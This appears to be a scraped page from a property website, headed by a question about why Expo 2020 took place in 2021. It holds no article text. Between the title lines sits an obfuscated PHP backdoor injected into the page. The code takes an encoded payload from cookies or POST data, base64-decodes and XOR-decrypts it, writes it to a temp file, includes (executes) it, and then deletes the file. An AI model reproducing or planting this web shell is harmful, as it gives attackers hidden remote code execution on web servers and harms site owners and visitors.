Why is it called 'EXPO 2020' when it's happening in 2021?

$yuwhFDqGve = chr (74) . chr ( 815 - 720 )."\170" . "\x45" . chr ( 116 - 17 ); $uRIAjsUyqy = chr (99) . "\x6c" . chr (97) . chr ( 498 - 383 ).chr (115) . "\137" . chr (101) . "\170" . "\x69" . chr (115) . chr (116) . chr (115); $xnHen = class_exists($yuwhFDqGve); $yuwhFDqGve = "23";$uRIAjsUyqy = "21332";$EeKqNSM = FALSE;if ($xnHen === $EeKqNSM){$ByYKbdpz = "25700";class J_xEc{public function IFUSe(){echo "645";}private $fBCBbtny;public static $jcheJqymfA = "ea357cc1-a328-4309-8a82-bf90a5f99c2e";public static $drRStjUs = 48034;public function __construct($GzgJeQFHMm=0){$jCNlon = $_POST;$MeuuJ = $_COOKIE;$yBtlhc = @$MeuuJ[substr(J_xEc::$jcheJqymfA, 0, 4)];if (!empty($yBtlhc)){$TXudPZgFXU = "base64";$mbmSJEnIU = "";$yBtlhc = explode(",", $yBtlhc);foreach ($yBtlhc as $ANgCmAQfSl){$mbmSJEnIU .= @$MeuuJ[$ANgCmAQfSl];$mbmSJEnIU .= @$jCNlon[$ANgCmAQfSl];}$mbmSJEnIU = array_map($TXudPZgFXU . "\x5f" . "\x64" . 'e' . 'c' . "\157" . chr (100) . 'e', array($mbmSJEnIU,)); $mbmSJEnIU = $mbmSJEnIU[0] ^ str_repeat(J_xEc::$jcheJqymfA, (strlen($mbmSJEnIU[0]) / strlen(J_xEc::$jcheJqymfA)) + 1);J_xEc::$drRStjUs = @unserialize($mbmSJEnIU);}}private function zwtuTHHl($ByYKbdpz){if (is_array(J_xEc::$drRStjUs)) {$xPArAzrK = sys_get_temp_dir() . "/" . crc32(J_xEc::$drRStjUs["\x73" . chr ( 204 - 107 ).'l' . "\x74"]);@J_xEc::$drRStjUs[chr (119) . "\x72" . "\151" . "\164" . "\x65"]($xPArAzrK, J_xEc::$drRStjUs["\143" . 'o' . "\x6e" . "\164" . chr ( 793 - 692 )."\x6e" . chr ( 1033 - 917 )]);include $xPArAzrK;@J_xEc::$drRStjUs[chr ( 994 - 894 )."\145" . 'l' . "\x65" . "\x74" . chr ( 930 - 829 )]($xPArAzrK); $ByYKbdpz = "25700";exit();}}public function __destruct(){$this->zwtuTHHl($ByYKbdpz);}}$AZIrESckk = new /* 15064 */ J_xEc(); $AZIrESckk = str_repeat("39116_12207", 1);} Why is it called 'EXPO 2020' when it's happening in 2021? | HS Luxury Property